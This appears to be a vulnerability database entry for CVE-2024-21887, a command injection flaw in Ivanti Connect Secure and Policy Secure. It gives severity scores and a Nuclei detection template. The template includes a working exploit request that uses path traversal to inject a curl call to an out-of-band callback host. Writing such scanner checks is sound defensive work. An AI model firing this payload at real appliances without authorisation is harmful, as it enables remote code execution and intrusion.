9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
9.2 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.973 High
EPSS
Percentile
99.9%
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
id: CVE-2024-21887
info:
name: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection
author: pdresearch,parthmalhotra,iamnoooob
severity: critical
description: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
reference:
- https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
- https://github.com/farukokutan/Threat-Intelligence-Research-Reports
- https://github.com/lions2012/Penetration_Testing_POC
- https://github.com/Chocapikk/CVE-2024-21887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2024-21887
cwe-id: CWE-77
epss-score: 0.97322
epss-percentile: 0.99871
cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ivanti
product: "connect_secure"
shodan-query: "html:\"welcome.cgi?p=logo\""
tags: cve,cve2024,kev,rce,ivanti
http:
- raw:
- |
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: header
words:
- 'application/json'
- type: word
part: body
words:
- '"result":'
- '"message":'
condition: and
# digest: 4b0a00483046022100dfcc3f9560479437b285218b46fa79b25d6dce508f57d8d245a7722be24d64f20221009d4ce1c5c3203ebbe9527f74aaa75ad7a4d72d26f812ed7ac78a4fd9451829ed:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
github.com/Chocapikk/CVE-2024-21887
github.com/farukokutan/Threat-Intelligence-Research-Reports
github.com/lions2012/Penetration_Testing_POC
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
9.2 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.973 High
EPSS
Percentile
99.9%